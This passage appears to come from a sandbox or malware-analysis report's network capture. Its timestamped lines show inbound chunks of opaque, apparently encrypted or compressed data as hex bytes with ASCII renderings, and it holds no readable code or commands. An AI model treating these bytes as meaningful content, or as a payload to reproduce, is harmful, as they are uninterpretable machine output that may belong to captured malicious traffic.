32 6d 1b a4 1d 41 0a 82 08 58 c6 a8 ba 29 40 19 f2 81 c6 0d 38 d2 9d fc 40 95 8a 53 b0 38 09 ca e5 6a 4b ae 78 17 bd 53 5b 17 0d f7 08 5c ec a6 39 58 1e Data Ascii: Z\|#[Uco4!rOB:ON&I)3GZs;B0LhN?bHlh4_%1"VCV&gS[>wTImrk`9aolS&L&nX5-R)xSOW%liYm1Umi2mAX)@8@S8jKxS[\9X
2021-10-12 00:46:19 UTC	1799	IN	Data Raw: 9f 19 f4 16 71 b7 01 1a 19 db 29 c1 3a fa aa 1c 15 6a 72 9d 38 9d 46 ca 15 7b 35 0c 46 38 9d 82 91 05 8f 2b 03 78 5e a8 ca a1 2e 29 93 6d 97 ac c6 76 7f d2 eb 31 85 88 41 d8 1e cb c6 bd 57 ab 84 c0 11 d4 87 3a 12 79 8c 61 a4 ef 10 1a fa b4 b7 cd 46 02 2c 94 b2 45 b7 97 0d 37 92 12 dd 90 31 48 27 d5 f1 6e e0 ab 00 84 9c ff 99 75 42 4f a4 7a 29 00 04 47 77 0a d7 b2 f5 da d6 d2 10 ed 3b 07 09 fa 07 88 a8 bb 79 3a a2 06 fc bd 06 e1 c1 46 03 78 92 1a c7 97 55 f5 87 bc 4c 76 9c 50 2e ed 64 3e 18 b3 dd 71 91 fa f4 3c 77 57 d9 4b 47 90 ad 57 f8 a2 eb cc fe 06 83 af 1c 53 5e f2 a4 57 f6 7d b5 dd 70 ea fa ef 85 03 78 a4 31 69 5c 86 e3 da 2d 9e 42 0d a4 ce 59 da c1 98 74 bb f7 44 45 3f bb b2 89 7f 79 d1 65 f3 78 3a 2a 02 e7 ec 5c 37 0c fa c4 ba dc 93 ff 07 3d 7d be Data Ascii: q):jr8F{5F8+x^.)mv1AW:yaF,E71H'nuBOz)Gw;y:FxULvP.d>q<wWKGWS^W}px1i\-BYtDE?yex:*\7=}
2021-10-12 00:46:19 UTC	1815	IN	Data Raw: 82 01 69 75 00 e0 0a cb 4a 52 95 fa 87 f4 79 d1 aa 4a f6 07 ea 40 28 dd 9b 3a 19 ad f8 f2 be 06 fb c8 67 dc 2f be 75 40 5a 30 05 33 e5 61 be 24 54 92 05 77 83 96 0e 74 fd 5a c6 09 6b bc b8 ad 3b 2f 1f 3d a8 8d 48 ee 47 88 01 87 95 0d 2d 5f 6f ad 79 e4 23 44 ad ab ee 1d 1f 99 27 21 1e 7c b0 f6 33 73 b3 60 29 6c a5 a8 67 1b 9d 2c 9e 40 05 4e 73 27 53 c1 02 f6 f0 85 86 fd 30 ea 41 a9 b2 7f 95 78 2d 48 bc e5 7f 3b 90 0c 86 d2 af 4c e9 5b 61 c4 d6 0e e8 98 40 f5 f5 36 f5 cb c0 47 f4 15 d7 49 c1 94 b4 d8 46 44 80 c3 32 64 b6 de b3 12 c5 7f 45 89 ec f2 c8 20 fe 35 cb 7e 1b a2 63 4e 97 8a ef 98 5c f6 dd b5 1e 24 12 20 73 db 47 c8 5f 3d 9f 08 b2 25 d3 b9 99 84 f1 53 ed 2a 43 fa 10 94 84 7e 08 79 d1 03 46 9b f6 25 e9 9e ea 91 49 6b e7 07 14 57 fa 10 2e a8 bd e1 b6 Data Ascii: iuJRyJ@(:g/u@Z03a$TwtZk;/=HG-_oy#D'!\|3s`)lg,@Ns'S0Ax-H;L[a@6GIFD2dE 5~cN\$ sG_=%S*C~yF%IkW.
2021-10-12 00:46:19 UTC	1831	IN	Data Raw: 22 13 f0 1b 74 89 ba 5d f9 67 92 39 a8 dd 16 d3 a0 ce 04 24 c5 3e 78 6a b4 89 46 65 c4 87 4d 1d fb 4d 90 6b 5b 29 75 e0 4d 86 7b e0 97 96 e6 af 2b 2b 90 94 fb 15 c8 9e 64 76 12 0c d9 79 b8 e6 dd fb f0 47 48 3f 23 27 0b 83 49 86 92 59 4a 1f 3d 27 a8 6f 95 e0 3d d6 44 3b f8 c4 34 57 4a 6e 5c 13 a2 76 02 d7 0a bc 0a c4 5b c1 eb 7a 4a 59 fd 13 0c 72 86 fc c7 79 eb 0b 17 86 d1 a0 25 87 d0 46 d6 6b f9 d0 61 da ee b4 50 f8 10 3c 43 46 bb 2c 3c b7 10 1c 66 69 e3 d8 54 b7 08 96 6d 15 92 da a8 81 b1 b0 79 b1 1c e7 1b 85 73 b4 c8 2a 55 cd 0d b1 c3 85 6b fd 12 5e c5 4a 3d 9a 68 17 eb 04 9a 10 9a be 27 ef 2f 96 df 3c 82 c0 40 34 49 c7 bf 36 fc c3 2d f1 2f 68 cd 7e 33 b3 4f 61 0b 1e d9 7c 05 1b cb e3 56 68 84 49 f0 bf 97 5b 9c de 48 dc fc b6 88 71 8b c2 1f 82 86 96 06 Data Ascii: "t]g9$>xjFeMMk[)uM{++dvyGH?#'IYJ='o=D;4WJn\v[zJYry%FkaP<CF,<fiTmys*Uk^J=h'/<@4I6-/h~3Oa\|VhI[Hq
2021-10-12 00:46:19 UTC	1847	IN	Data Raw: a3 fd d7 94 7f 8d 20 77 d2 6f 45 9f 64 36 6f f8 ba 1c 4a 26 5f 12 1c d8 44 63 8c c2 6b 35 3d 71 45 fa a4 ba c9 d0 7d 9d 23 f8 5a 0c 04 51 cf 2a 6f b2 18 41 bc cc 0e 4c 3b 63 be 0b 48 f3 ff 8f 51 67 9f 05 30 f6 fb fe 5a 7a 4f 3b 6b 62 fa 9b d5 00 f5 33 41 c4 84 6c 7f 7c 11 b0 5c 72 04 b7 11 58 3d c7 74 d0 a1 e9 11 69 19 1d 8c 51 6d 9a 78 46 4c e9 a5 53 97 8f 11 ef d1 99 3a 01 ed b7 06 c5 38 6c a7 5e f9 b8 bf af 77 55 f8 9c 11 16 4c ca 6f 65 ae 05 6f 52 2e a3 1e 42 b9 34 cc 4e 07 bd 75 c6 5a 3a d4 53 48 f7 62 9e 81 81 18 3f 61 7d e5 de 12 a2 42 f8 fd c0 b2 be 43 d1 21 a4 38 96 7e 4c 64 62 de a3 40 11 33 a0 b5 78 79 ea 69 72 6c 9e 04 ba 54 55 74 f0 6c fa 77 77 1b 78 3e a0 74 47 7b e0 72 74 e1 0b 90 05 3f 02 1a 60 92 98 83 be d3 30 3d 2a de e4 82 38 92 f2 b7 Data Ascii: woEd6oJ&_Dck5=qE}#ZQoAL;cHQg0ZzO;kb3Al\|\rX=tiQmxFLS:8l^wULoeoR.B4NuZ:SHb?a}BC!8~Ldb@3xyirlTUtlwwx>tG{rt?`0=8
2021-10-12 00:46:19 UTC	1863	IN	Data Raw: 67 bf 35 7c 07 86 20 40 a8 90 61 8a 74 8c 1f 4a 6b 77 3f 9f 7c 28 cc dc b6 51 39 9f c8 8a de e4 03 4c f8 2c a6 1c 7d cd e1 01 6a 07 21 5a c0 0d 14 96 f8 ec f2 0c 7d 4b b1 0a dd bb 88 ba 7c d6 a0 6e 4c 64 b9 58 98 79 10 37 a6 cf 46 fb dc 64 a6 52 3d e3 0f f9 b3 ba ce 62 e6 2f 63 c8 23 0e 2c c8 9f 5f 85 38 5f df 7e 53 ac 84 bc 30 5e 2b 30 8a e1 c7 23 4b 5d f7 c1 51 84 4d 41 b4 0c d7 dd 7f 50 b1 ec de 8a 88 58 22 d0 97 6a 30 6c 38 47 9c 22 6f c5 fe 26 54 21 db 26 cb dd 37 c4 ff 53 e9 0f 7a 2d 8e ed a8 b2 a2 a3 f7 92 4c 2b 74 f7 b0 34 8f 91 b7 a7 89 74 f6 0c c0 0a 12 6d 23 15 84 53 87 74 b3 70 41 c9 b8 2a a5 60 93 67 37 ce e5 02 e1 50 88 bf d3 98 2b a5 c7 35 b5 07 1a 39 e0 49 50 d9 d1 30 79 f6 a3 37 9a 01 33 66 27 19 0e 04 0b 39 d2 d6 fc 82 65 8f 58 71 f8 22 Data Ascii: g5\| @atJkw?\|(Q9L,}j!Z}K\|nLdXy7FdR=b/c#,_8_~S0^+0#K]QMAPX"j0l8G"o&T!&7Sz-L+t4tm#StpA*`g7P+59IP0y73f'9eXq"
2021-10-12 00:46:19 UTC	1879	IN	Data Raw: fc 4e 03 a3 01 f8 db f9 51 3e b2 85 6d 35 99 58 90 c4 9f de 6d 46 86 8d ec 53 3a 95 32 fb 3c 6b 64 13 bc 08 7d a6 7d 65 72 67 b6 ea 00 a9 e3 f3 fa bd 18 5d c6 fe d7 90 62 6e c2 95 90 59 c5 12 5f 65 5c 2f 92 07 ce 0a 81 cb a5 9b df 08 19 e0 ab 45 70 bc b0 b7 58 b9 83 cc 41 a7 ad fb 77 f3 9b 23 9a b9 77 90 d4 52 78 af 04 91 f8 44 c8 6d 71 89 27 b2 8d 09 35 10 44 df bb f3 ae 6f fe 1d 12 67 17 89 34 f7 87 ed b2 05 26 64 71 35 97 00 94 af 9c 37 fa 26 d4 93 a9 30 9c 5c 0b d7 5b bc 7a fe b7 2e f2 03 eb f8 bf 39 d9 5d be 45 d1 34 82 e1 9f c0 ad c4 13 f4 92 c8 10 9a fe 79 18 18 78 8c 96 6e 9a 98 dd eb a3 31 e1 6b f5 55 e1 11 3a e2 8a 16 ed 64 88 d0 df 8c ea 19 87 9c 76 b4 d8 ce 51 7e 35 92 97 4b 6b 77 b6 b5 c7 4a 1e 3d 52 d5 7d 91 50 86 f4 db ec ee 90 b9 9f 38 5e Data Ascii: NQ>m5XmFS:2<kd}}erg]bnY_e\/EpXAw#wRxDmq'5Dog4&dq57&0\[z.9]E4yxn1kU:dvQ~5KkwJ=R}P8^
2021-10-12 00:46:19 UTC	1895	IN	Data Raw: 6f 8b 60 c5 00 84 6b 3f e7 98 fb fd 5b 50 15 f9 7f ee 0d 37 1f ff d2 d9 47 a5 5c 69 d3 01 b2 7c 95 85 ad 15 dd a6 3f 41 0d 5d 3e 83 f0 bd 7e 13 ea 0b 90 b5 e8 44 eb c2 49 2d a1 7d bf 08 75 2f 21 1d 65 8f c6 a2 79 31 b8 d6 95 45 66 43 e7 ba 59 29 ac a8 2f 8c a1 19 f2 2c 94 82 25 3b f7 8f 24 61 9f 93 b6 54 e8 10 06 e2 06 4d de 6a b6 da 97 53 b3 fd fa 76 06 86 d2 6c c3 08 0f 0f d4 0f eb 83 a1 43 3d 50 12 d2 a3 f2 1c c4 29 8e 3c 1c 15 89 dd dc ca a5 4a ea f3 9b c0 05 f2 4e 29 5d bc 9b 52 65 06 71 ce 74 11 1e 3b 4e b8 30 0b 58 11 68 98 78 98 48 e5 9b de 38 8c 9c 7b 23 d6 ac 06 e0 e2 d1 7c ae 02 f3 ce b1 8c 10 80 30 2a 78 c1 16 bf 06 58 9e 6f 2f 28 b2 e4 49 7c f7 b0 9d 77 71 05 54 63 e0 aa 7e d8 4c 1a f2 2e c7 6c 52 99 2a 5e ef 23 33 07 87 a4 64 f0 e6 98 17 b4 Data Ascii: o`k?[P7G\i\|?A]>~DI-}u/!ey1EfCY)/,%;$aTMjSvlC=P)<JN)]Reqt;N0XhxH8{#\|0xXo/(I\|wqTc~L.lR^#3d
2021-10-12 00:46:19 UTC	1911	IN	Data Raw: 89 ba 2c 85 bd 22 a3 e3 36 6b 8f 89 7b a3 16 65 c7 35 bd 6e 14 95 9c f7 1d be cf e7 5a c5 a0 f9 be d1 b7 bb 9c 25 62 36 58 0a 06 07 80 47 6c 24 3f 11 10 00 f8 51 ba b5 12 c8 76 cb 4f 61 11 61 6b d8 f6 c7 81 b2 5b c4 69 c5 fc 84 f6 7a 63 50 4b 08 31 0e 7a 62 e5 65 f3 38 f3 2b ae fa ae 30 fa 45 b5 78 42 66 7f 56 af 3e 92 e4 c0 49 49 bb bc 0e 1d b0 13 8b 81 1b 15 c0 7c 62 3a 60 03 ec 81 da 5e d4 c8 f8 69 57 67 ab 35 5f d5 47 6a 4b d8 e6 5c 35 8f 5b 1a 1f c4 1a 1d ed fe 80 bb b1 58 a3 dd 86 88 c3 76 04 fc 38 3c 6d f7 51 c0 62 5f 02 74 31 4b ac 53 ec d0 b3 62 cf b6 ac 51 e8 2c 5f 48 e1 ca 55 a4 67 71 c7 13 c0 a4 02 69 81 1f 4e f4 b4 93 f2 7f e7 4b ff 55 3e 33 d0 79 94 a5 47 37 c5 b0 f5 c7 4a 28 d8 ca 47 97 c4 02 d0 51 2e 77 bb 11 57 09 3c 3d bb 5c 34 3d 65 f2 Data Ascii: ,"6k{e5nZ%b6XGl$?QvOaak[izcPK1zbe8+0ExBfV>II\|b:`^iWg5_GjK\5[Xv8<mQb_t1KSbQ,_HUgqiNKU>3yG7J(GQ.wW<=\4=e
2021-10-12 00:46:19 UTC	1927	IN	Data Raw: 41 b5 2d 83 b0 df 32 9b 3a 1a f6 eb 29 39 7b 1b c5 b3 4c d0 15 5e 8e ef e1 7c f8 2a b5 16 7e c8 f0 97 18 04 8a e0 5d 9c 7e 78 ca bd fd b5 53 87 a0 14 f9 e7 d1 cf 1d 6e c3 fc 1e 40 5c af 40 69 75 66 e4 9c d4 19 ab 01 26 a3 8c e6 d8 1a 57 3a 88 aa 59 c5 00 95 05 5d 7c 27 d7 67 57 f4 e5 bb 3e e2 40 2e 96 99 20 e8 26 fe ce c2 64 35 c7 1d df fc 9c 55 a8 2c 2c 4f eb 88 39 aa 4f 5b c4 45 f3 5a 53 a1 09 ee 57 7b e7 dd b5 a9 30 a3 77 d8 16 79 c7 3b 51 bd d5 69 22 15 0d a9 af 69 44 74 f8 06 9e 11 c0 a2 e2 23 24 57 8a a8 43 ee 02 97 2a ff 4d 41 b1 dc 94 07 a2 b0 e2 cb 79 c6 e9 1e ce f1 48 67 47 c7 22 57 d9 d0 31 4d b8 f2 4c a1 72 cf 24 ca ad 37 c4 49 e5 ec 39 05 1c 03 59 e1 06 e7 94 b4 7f 9f 4e af e9 5b 4b 6b 22 d6 8c cd 49 b2 a1 ef ed 1f 70 58 4f ab cc 3a e0 f2 52 Data Ascii: A-2:)9{L^\|~]~xSn@\@iuf&W:Y]\|'gW>@. &d5U,,O9O[EZSW{0wy;Qi"iDt#$WCMAyHgG"W1MLr$7I9YN[Kk"IpXO:R
2021-10-12 00:46:19 UTC	1943	IN	Data Raw: 92 e5 5a 2c 1c cd d6 2b f3 d5 ae c4 22 a5 70 9d a9 6f ce 63 e0 02 c3 df 40 37 3e aa d8 48 15 03 6b 89 83 3d 99 8b 09 7e ea 49 02 9f 9e 21 71 52 19 0f cb b0 16 6b b2 36 c7 93 6c ba 81 71 86 85 b3 35 38 3a b2 01 56 ac a2 33 e5 2e c7 9b 30 7c 21 dc 7a 26 46 b8 fd 55 b3 89 eb 03 ad c3 33 29 41 3c ef 0c 24 4e c1 88 a7 41 76 49 3d 79 1d 1b 86 1e a0 49 2d 5c e9 51 60 c9 3f 42 ca 32 3d 29 35 0a f6 db d2 18 65 7f f9 65 49 34 22 87 09 43 7d 9f 86 1f e9 69 f1 33 70 9c cf ef 96 c8 42 b6 f6 25 4b 19 fe 02 c1 0d 62 2a 2c 5b 32 5c 77 52 ce 34 dc 1f 75 9f bf b7 98 f1 f0 5e cd ae 41 b0 88 76 9c 58 cc 84 80 57 9e 6d 40 5a 8f 31 39 5b 3c 9f 49 ad 86 4c f1 40 cf 3f 0b 22 4d 59 53 72 e0 42 61 dc d9 54 64 4a 52 d4 e5 8b 34 cb 60 0f 5e 93 40 60 d4 7c 32 93 c6 17 e0 41 00 84 6d Data Ascii: Z,+"poc@7>Hk=~I!qRk6lq58:V3.0\|!z&FU3)A<$NAvI=yI-\Q`?B2=)5eeI4"C}i3pB%Kb*,[2\wR4u^AvXWm@Z19[<IL@?"MYSrBaTdJR4`^@`\|2Am
2021-10-12 00:46:19 UTC	1959	IN	Data Raw: 0a b1 bb 7c 3c 04 1c 96 72 f3 3b 32 c3 c3 8c 2e 63 c1 62 61 5b 01 fe 38 91 95 f3 ed b6 19 0d e8 91 a7 11 ba 64 c1 e0 b7 ec c4 ca 50 41 e3 b5 03 5f de 16 69 77 53 16 df 82 9e eb 95 1b ca 5a 25 af f7 eb 8f de 49 10 2e 23 f0 f1 5d e7 9b 4b 6e 83 f3 e0 17 19 b4 fc ae c0 8e d4 5f fe 28 7a 28 0e 43 5d 2c f0 63 e7 3a 8a f7 3b 3b d4 6a c8 8b 5b e6 1f 3e 8a c0 d6 c4 d0 a8 76 86 93 d9 f7 ab 63 89 e8 e4 f3 ff 60 3c 24 b3 22 c0 4a fa 79 c8 3b 93 81 6b 21 15 ee 28 b4 a4 7d 3b c6 06 d9 ac fa 0a f8 48 21 35 9a d9 17 72 7d 2c b1 7e 94 52 1c f4 03 22 ac dc 39 d4 07 7c 4a 6a ee c8 52 07 28 cb 44 d6 4b 40 33 d4 29 64 19 b5 5c 4a 5d f3 89 cb ba 35 70 19 88 9e 1e 2a 2b 02 f0 35 37 36 d0 1e 79 e6 b6 c8 2a 34 ea e4 2b c9 d3 70 0d 34 af a8 b9 cc 4e ee 71 4c f5 2d 1a 6b 2b ec 10 Data Ascii: \|<r;2.cba[8dPA_iwSZ%I.#]Kn_(z(C],c:;;j[>vc`<$"Jy;k!(};H!5r},~R"9\|JjR(DK@3)d\J]5p+576y4+p4NqL-k+
2021-10-12 00:46:19 UTC	1975	IN	Data Raw: 9d c1 6d e8 3b 3c 75 f1 7f e9 72 cf a6 41 20 dd bb 0f 80 fb 1d 3e 22 d0 4d 26 7f 74 8f 7b 5e 41 2b 05 ce fc 3e 87 09 aa 86 32 d4 46 09 0b 8a 38 3a c9 7e 64 89 4c 71 68 11 af c6 cf 43 2c 68 3c 28 ad c6 35 4c 47 6b bb 81 b2 04 09 b5 9a 82 0f 73 93 8d 9f ed ca 88 91 3a 1b c6 c8 3d a0 42 1d 36 1a c9 70 5f a6 f9 4a a5 a8 a1 13 43 da 2a a1 68 bb 4b 91 b8 55 f9 71 2d 75 56 bc a0 b4 2b c5 7e cc 62 32 d2 b8 d8 af f6 e3 f9 2d af 76 f3 84 56 42 45 37 f0 24 0f 3a e8 14 fb cb ad 01 76 c5 e5 7f b3 e9 17 e4 76 ea 16 02 15 54 6e 6b 44 37 56 2a 25 65 d0 b1 ad f4 9e eb 4d f2 4b 7c 35 cc 39 45 87 57 30 91 9c 5c 7c 91 56 22 37 c7 52 e3 ae f8 0b 30 69 4e 06 4d 9f ba 67 f7 e0 a5 8e 00 da c4 d6 96 04 1c 5e 87 16 29 5c f7 e4 14 96 77 36 3d 4a 52 84 5d 57 00 df 86 ef 13 ab 98 6e Data Ascii: m;<urA >"M&t{^A+>2F8:~dLqhC,h<(5LGks:=B6p_JChKUq-uV+~b2-vVBE7$:vvTnkD7V%eMK\|59EW0\\|V"7R0iNMg^)\w6=JR]Wn
2021-10-12 00:46:19 UTC	1991	IN	Data Raw: dc f7 1c 0a d1 80 a1 fb da 0c b4 55 c0 d0 01 c7 d0 01 08 7b d2 d5 4d c0 0d fa 58 a4 4b 6e b6 c3 b5 eb 31 49 42 55 ef 12 18 21 29 c1 9e 97 8e 99 ea 0f fa 64 78 52 95 b7 80 f1 5d 43 05 94 42 92 ac d3 2b 82 fb e6 ac 2a 37 8a dc 3e 73 84 7e eb 10 1e a8 94 46 42 48 58 19 4a df 37 d5 64 39 6d 3e 94 06 d9 e2 7a bd 2f 55 77 a3 4a e6 63 1c 50 4d cc 61 90 55 28 e2 5e 0d f0 b8 fc bb 3e 6e 32 de 52 51 33 13 5d db e5 f3 85 7d 9a a9 5a 07 51 ff 44 02 8c 98 15 6a 50 72 b5 a0 71 21 7a 7e d8 cf 17 29 03 d2 4f 7a 9d d4 2e 9b 46 3a fc ad ee 92 c9 27 35 30 3e f9 29 08 68 2d 87 0d 30 9c c3 4e 77 72 eb 2f 65 57 13 c0 d2 ff db 06 2e 06 a1 b4 f3 8f 23 8d 08 fd 58 09 9a 5e ac 61 37 42 9f eb 45 df 49 a7 c2 b7 28 4e a8 68 00 c9 c1 de 1b 25 d0 a8 93 29 43 22 9c 84 ee 89 9b ff 20 05 Data Ascii: U{MXKn1IBU!)dxR]CB+*7>s~FBHXJ7d9m>z/UwJcPMaU(^>n2RQ3]}ZQDjPrq!z~)Oz.F:'50>)h-0Nwr/eW.#X^a7BEI(Nh%)C"
2021-10-12 00:46:19 UTC	2007	IN	Data Raw: 36 16 cc 65 16 32 f9 58 ae 9a 8f 2b 17 7c 9e 73 50 38 86 51 33 5c 91 7b 35 b2 57 69 58 4b 4c 1c f6 e5 61 a3 95 21 82 83 d3 a5 c4 58 49 c7 31 a4 9e dd ba eb f8 ec fb cc fb 0e ad 12 d5 a9 ee cd 8b fa 86 37 a7 27 db 05 93 fb ee 6c e4 40 3f b4 b5 90 04 29 27 7e 28 df 7d 31 a6 34 1d 4c c5 0d 25 b6 f4 4c 20 b3 36 d5 38 7a 45 92 0d 45 ee 76 c5 5f 43 4e 91 73 ec fc 64 50 06 2f ae 5b 7b ef f0 7f 4b 34 b1 b0 e2 7b 8e 86 9e 7e aa 72 dd 76 a8 83 25 e4 2c 58 6d d2 86 e8 c9 c4 74 27 bb 50 cf 0d 4b a1 46 7f fd 2f 49 ab d8 6a ee 68 55 42 aa 5f fc bb 60 ea 8b b6 ed 80 43 44 28 a6 f2 a4 d7 46 3d 36 ef 5f 21 3f de 5c 0c c0 fd fe c3 07 54 ac 72 85 78 a5 b1 c7 31 55 47 2c 80 29 12 6b f5 0f fd ca 0b 71 8a 9d ea 23 d4 02 4f 79 7f fd 96 5e 3f 1d fc 21 a8 2e aa f3 2b 0e 27 25 85 Data Ascii: 6e2X+\|sP8Q3\{5WiXKLa!XI17'l@?)'~(}14L%L 68zEEv_CNsdP/[{K4{~rv%,Xmt'PKF/IjhUB_`CD(F=6_!?\Trx1UG,)kq#Oy^?!.+'%
2021-10-12 00:46:19 UTC	2023	IN	Data Raw: 4d 09 2f fc 5e 80 51 e7 79 14 1f 15 53 6c f6 5d 6f a7 f3 58 8d b7 ca 0f 3f b0 fe 2b 3a f3 e5 e2 ed 7d ee 6c cf 19 7d 79 a9 eb 38 38 97 24 e2 7d 24 95 9c 96 4e 68 b6 77 26 41 6b a5 cd aa ae dd 5d 1b 51 06 7d 4e 87 18 de 12 71 6d 18 98 88 b0 c3 49 6f 0a 68 ba 8c 47 dc 70 e8 50 d9 00 ca e8 79 4c c7 3a 4b c9 22 bb 72 95 81 0f e7 bc ca 79 61 b8 7b 9d 9d 7c ed 40 38 29 23 66 0c bc 96 78 62 2e a2 3c 06 cb a3 de bd bd ce 42 0c 1b d6 0e ad 2b 53 b1 ec b2 c4 27 06 2f e4 c4 23 4c 26 7e 27 44 c1 9e 3d c0 93 15 83 b2 20 d2 26 06 96 14 fc 1d eb 8e 6d 81 2e 65 e8 1e 5c f5 83 c3 d2 13 bb d7 7e 3e 85 05 48 f3 f3 6a ba 98 07 79 7d c7 e0 5f 41 91 99 99 c9 96 af 02 ed 7b 1b 37 5a ed cb d1 f8 81 c2 64 6f d2 c4 98 07 e5 fa 95 af 88 2e d4 97 1f 53 31 9f bc 7d 4e 5d f5 ee 0f df Data Ascii: M/^QySl]oX?+:}l}y88$}$Nhw&Ak]Q}NqmIohGpPyL:K"rya{\|@8)#fxb.<B+S'/#L&~'D= &m.e\~>Hjy}_A{7Zdo.S1}N]
2021-10-12 00:46:19 UTC	2039	IN	Data Raw: 59 48 bb 99 30 18 bf 4e fd 1f 63 fe 6a 97 af 0c 3f b8 bb f8 dc 01 df eb 94 ef 08 ca 23 8f 28 f2 e4 1a 39 7c a3 4f b5 bb 2b 4b d1 d7 00 21 6e c4 74 98 83 b4 1c 81 f2 40 a0 b7 a2 6b 8e 4b 0b 13 a3 0b 24 98 cf d4 32 ca d4 72 c6 4a 15 f7 85 c1 88 2b 1c 0d 07 60 35 56 52 09 a9 41 2c 10 f6 df 34 47 9c 18 db fd 81 f3 b4 74 6e c7 1a b7 ff 00 57 fa 86 c8 90 1a 42 ea f3 b5 23 3f 58 f8 7f 92 95 f4 83 70 de 79 e6 ce 4d 86 9b 5c 66 34 28 cd cf d8 77 c1 6b 8e 6b 2d 49 bd 83 d2 27 69 3c b5 5a 0c 93 61 2d a6 bb 0d 81 8e 1a b9 0f fd 99 7b 56 cb 79 e6 9a fb cf e4 86 76 cf 6f 81 ce 0d cc c8 bb 73 d6 41 22 f2 32 d9 b2 6d fc 53 72 6b 77 7c 9f 7b 1e 48 a3 22 1a a9 07 4b b4 29 8b e4 29 c9 41 c5 50 b4 02 bb 06 3c e3 0e 22 09 32 67 8e 99 5d c8 32 81 26 e8 fd be 20 7e 28 17 c2 7b Data Ascii: YH0Ncj?#(9\|O+K!nt@kK$2rJ+`5VRA,4GtnWB#?XpyM\f4(wkk-I'i<Za-{VyvosA"2mSrkw\|{H"K))AP<"2g]2& ~({
2021-10-12 00:46:19 UTC	2055	IN	Data Raw: 6e 1a ce 99 01 e3 1e b0 11 b8 64 75 6c 89 2a 90 15 4e 27 24 67 74 2c c3 77 a7 4f ee 12 91 da 19 84 ad 4d 00 1c 6c 2d 7f 94 19 09 44 29 9c 9b f2 42 05 5d 86 e3 3e 9d c1 60 99 d7 00 6a 73 2a 08 ce 86 d6 34 1a 67 33 e3 6d 89 41 70 32 ea 60 d1 64 94 a9 63 4c 9c a7 d4 82 a6 58 07 b6 2a 31 3c 6c 6a 4e 5c a6 2b 48 f6 13 be f4 7b 7b 9b 58 c8 27 1a 0d 1b 2a 31 2e af de 71 37 db 2f 4e cb c8 02 dc 1e b5 69 ac 4d ad c1 af 42 ab bd b6 c4 eb fd d9 53 b0 84 6e a1 70 4c 22 f4 05 74 57 08 03 16 4f a2 7b 99 bd bf d4 41 86 5c a4 80 29 d3 2a 3d c7 75 9e df 74 23 14 62 1a 8f 3f ab e3 cb ab ce 4d 80 5c eb bf 08 10 93 12 f6 82 d9 a2 e0 f8 52 8f 86 23 bc d1 13 2b 58 21 17 04 1f da 02 44 46 5a 48 53 3c 88 42 eb fd 40 cd b0 ee a0 73 82 81 44 01 c8 59 d0 f4 df a8 36 88 7e e5 97 aa Data Ascii: ndulN'$gt,wOMl-D)B]>`js4g3mAp2`dcLX1<ljN\+H{{X'1.q7/NiMBSnpL"tWO{A\)*=ut#b?M\R#+X!DFZHS<B@sDY6~
2021-10-12 00:46:19 UTC	2071	IN	Data Raw: 9d 88 51 50 8f 28 4b 21 8d 4a da 26 86 6a 79 76 db 81 17 8f d6 c6 9a db bf 69 f0 72 42 5a e8 5e 82 95 fa 5c 26 b9 42 e8 e6 cd 1c f3 02 7b 4b b1 f4 e8 04 4a 7b 18 5d 07 b9 93 a3 7e 3b 41 e1 4e 1c cc a2 64 72 85 4d 18 7b 0b 09 31 8c 4d 5d e8 55 bb 5f 41 90 d8 25 4c c2 82 1f 79 ad be 2f 09 0e 7d d8 fc 37 40 7b b8 7e c5 b5 6d ac b0 1a 71 b3 10 7f 8f 38 f6 6b c1 99 83 7c 16 45 b2 c6 9c b1 cd 01 2b 5a 88 71 f8 0b 31 50 e1 57 1d a8 41 80 2a 26 a9 33 33 a5 9a 6f 13 2f 2a 51 4d ff 51 d1 0a 0f e5 f2 7a 6b b2 e8 98 9d 78 c2 1e f1 dc 12 14 ac 23 ca 52 42 98 20 4f e4 52 8f db 33 6d cb 02 69 90 72 f3 f7 24 14 a5 1d e7 a6 c9 fb a5 7a a9 05 19 4a d4 a1 f8 46 c2 cc 2a 7c a4 6c 3c 53 ab cb 10 81 ed 73 ef f8 77 1b 4b 78 b5 3d b5 2f 63 5e 8f 54 ee 8a db 25 d4 30 10 1e 97 d1 Data Ascii: QP(K!J&jyvirBZ^\&B{KJ{]~;ANdrM{1M]U_A%Ly/}7@{~mq8k\|E+Zq1PWA&33o/QMQzkx#RB OR3mir$zJF*\|l<SswKx=/c^T%0
2021-10-12 00:46:19 UTC	2087	IN	Data Raw: b4 9a 04 0d 7d 00 d0 a1 cb ba 8b 3c 78 3a 1d ec e1 70 c6 e8 ec c4 07 86 d5 2a e6 58 39 80 ac 0f 43 f2 28 46 1f f2 87 e9 1d f4 7a d1 11 b6 ec 12 fd 7c 59 9c 7d 3b 71 47 71 9e c0 ac 98 1c 52 1a e6 fc ca 68 a0 59 7f 70 fb bd 98 0e a1 ce 7a bb 66 02 3e 32 de 69 e9 3d d2 9a 5c e9 a1 eb 70 f3 a3 39 2a da c6 ed 12 91 cd 82 07 1d 84 ae a9 d3 f6 a2 44 64 2f 4d 25 25 af ef ae 37 f4 f3 a8 7a 1d 65 22 b7 f1 77 4e f2 13 68 37 d2 ba ff 01 59 66 1a 3d 55 80 ac 8a f4 6a 01 5b 10 6b d7 7d 75 ab 27 dc e7 10 8e 09 e9 2e 60 07 b0 84 b2 1a c3 0b 8a 01 73 be c8 3b 5a 6a 71 f5 0c 1a 2b 85 ad 55 49 cf 39 c6 8a e5 9a c8 ae 6f a5 7e 5a da 8d 9d 79 c5 3f 9f e2 76 55 0e 5c fd 34 2d a5 57 60 55 63 59 0b ea da a1 42 5a bf 31 14 2f 8f d8 a9 ad fd 0a 34 2c f9 65 2d 90 f8 76 ca a9 df 3c Data Ascii: }<x:pX9C(Fz\|Y};qGqRhYpzf>2i=\p9Dd/M%%7ze"wNh7Yf=Uj[k}u'.`s;Zjq+UI9o~Zy?vU\4-W`UcYBZ1/4,e-v<
